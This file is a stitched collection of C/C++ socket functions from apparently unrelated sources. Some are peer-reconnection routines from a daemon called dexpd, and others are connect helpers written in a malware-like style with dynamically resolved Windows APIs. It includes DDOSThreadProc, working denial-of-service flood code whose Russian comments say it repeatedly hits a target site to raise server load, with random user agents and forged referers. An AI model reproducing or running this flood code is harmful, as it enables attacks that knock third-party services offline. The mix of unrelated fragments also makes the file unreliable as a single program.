int try_reconnect() {
extern dexpd_config conf0;
int i = 0;
int socknum;
for (i=0; i<conf0.nb_peers; i++) {
if (conf0.peers[i].socknum == -1) {
printf("trying to reconnect to peer %s...\n", conf0.peers[i].host );
if ( (socknum = pconnect(conf0.peers[i].host,conf0.peers[i].port)) < 0 ) {
fprintf(stderr,"Notice: cannot connect to peer %s\n", conf0.peers[i].host );
}
else {
printf("link established with peer %s !\n" , conf0.peers[i].host);
conf0.peers[i].socknum = socknum;
pthread_create(&conf0.peers[i].ioth,NULL,dexp_cli_ioth,(void*)&conf0.peers[i]);
}
}
}
return 0;
}
SOCKET MyConnect1( char *Host, int Port )
{
LPHOSTENT lpHost = (LPHOSTENT)pgethostbyname( (const char*)Host );
if ( lpHost == NULL )
{
return -1;
}
SOCKET Socket = (SOCKET)psocket( AF_INET, SOCK_STREAM, 0 );
if( Socket == -1 )
{
return -1;
}
struct sockaddr_in SockAddr;
SockAddr.sin_family = AF_INET;
SockAddr.sin_addr.s_addr = **(unsigned long**)lpHost->h_addr_list;
SockAddr.sin_port = HTONS( (unsigned short)Port );
if ( (int)pconnect( Socket, (const struct sockaddr*)&SockAddr, sizeof( SockAddr ) ) == SOCKET_ERROR )
{
pclosesocket(Socket);
return -1;
}
return Socket;
}
// Функция выполнения многократного подключения к испытуемому сайту
DWORD WINAPI DDOSThreadProc(TDDOS *DDOS)
{
TMemory Buf(1024);
TMemory Referer(256);
DWORD SleepInterval = (DDOS->AttemptsPerSecond) ? (1000 / DDOS->AttemptsPerSecond) : 100;
while (!DDOS->FTerminated)
{
// Создаём сокет
SOCKET Socket = (SOCKET)psocket(AF_INET, SOCK_STREAM, 0);
if(Socket != SOCKET_ERROR)
{
// Подключаемся к серверу
struct sockaddr_in SockAddr;
SockAddr.sin_family = AF_INET;
SockAddr.sin_addr.s_addr = **(unsigned long**)DDOS->FHostAddres->h_addr_list;
SockAddr.sin_port = HTONS((unsigned short)DDOS->FRequest.Port);
// подключаемся к сокету
if ( (int)pconnect(Socket, (const struct sockaddr*)&SockAddr, sizeof( SockAddr ) ) != SOCKET_ERROR )
{
// Генерируем данные
PCHAR UserAgent = DDOS->GetRandomString(UserAgents, DDOS->FUserAgentsCount);
string RefererHost = Random::RandomString2(Random::Generate(5, 10), 'a', 'z');
DDOS->MakeString(Referer.AsStr(), "http://%s.%s/", RefererHost.t_str(), DDOS->GetRandomString(Domains, DDOS->FDomainsCount));
int Size = DDOS->MakeString(Buf.AsStr(), DDOS->FSendData.t_str(), UserAgent, Referer.AsStr());
int Sended = (int)psend(Socket, Buf.AsStr(), Size, 0);
// Для увеличения нагрузки на сервер пытаемся получить от сервера ответ
if (Sended == Size)
{
Size = (int)precv(Socket, Buf.Buf(), 1024, 0);
}
}
pclosesocket(Socket);
}
// Ждём до следующей отправки
if (!DDOS->FTerminated)
pSleep(SleepInterval);
}
pInterlockedDecrement(&DDOS->FThreadsCount);
return 0;
}
int connectAll() {
extern dexpd_config conf0;
int i = 0;
int socknum;
if (conf0.peers == NULL) printf("Notice: No peers in configuration\n");
for (i=0; i<conf0.nb_peers; i++) {
conf0.peers[i].socknum = -1;
conf0.peers[i].ssl = NULL;
if (conf0.use_ipv6) {
if ( (socknum = pconnect6(conf0.peers[i].host,conf0.peers[i].port)) < 0 ) {
}
else {
printf("link established with peer %s !\n" , conf0.peers[i].host);
conf0.peers[i].socknum = socknum;
pthread_create(&conf0.peers[i].ioth,NULL,dexp_cli_ioth,(void*)&conf0.peers[i]);
}
}
if ( conf0.peers[i].socknum == -1 && (socknum = pconnect(conf0.peers[i].host,conf0.peers[i].port)) < 0 ) {
fprintf(stderr,"Notice: cannot connect to peer %s\n", conf0.peers[i].host );
}
else if (conf0.peers[i].socknum == -1) {
printf("link established with peer %s !\n" , conf0.peers[i].host);
conf0.peers[i].socknum = socknum;
pthread_create(&conf0.peers[i].ioth,NULL,dexp_cli_ioth,(void*)&conf0.peers[i]);
}
}
return 0;
}
SOCKET NetConnect( char *Host, int Port )
{
int ip = (int)pinet_addr( (const char*)Host );
if ( ip == (int)INADDR_NONE )
{
LPHOSTENT rhost = (LPHOSTENT)pgethostbyname( (const char*)Host );
if ( !rhost )
{
return -1;
}
ip = *(long*)( rhost )->h_addr_list[0];
if ( !ip )
{
return -1;
}
}
SOCKET Socket = (SOCKET)psocket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
if ( Socket == INVALID_SOCKET )
{
return -1;
}
LINGER l;
l.l_linger = 3;
l.l_onoff = 1;
psetsockopt( Socket, SOL_SOCKET, SO_LINGER, (char*)&l, sizeof( l ) );
struct sockaddr_in SockAddr;
m_memset( &SockAddr, 0, sizeof( SockAddr ) );
SockAddr.sin_family = AF_INET;
SockAddr.sin_port = HTONS( Port );
SockAddr.sin_addr.S_un.S_addr = ip;
if ( (int)pconnect( Socket, (sockaddr*)&SockAddr, sizeof( SockAddr ) ) == SOCKET_ERROR )
{
pclosesocket( Socket );
return -1;
}
return Socket;
}
DWORD ConnectThread(LPVOID lpParameter)
{
ConnectionData* connData = (ConnectionData*)lpParameter;
if ( (int)pconnect( connData->Socket, (const struct sockaddr*)&connData->SockAddr, sizeof( connData->SockAddr ) ) == SOCKET_ERROR )
{
DWORD err = (DWORD)pGetLastError();
pclosesocket(connData->Socket);
pExitThread(-1);
}
pExitThread(0);
return 0;
}
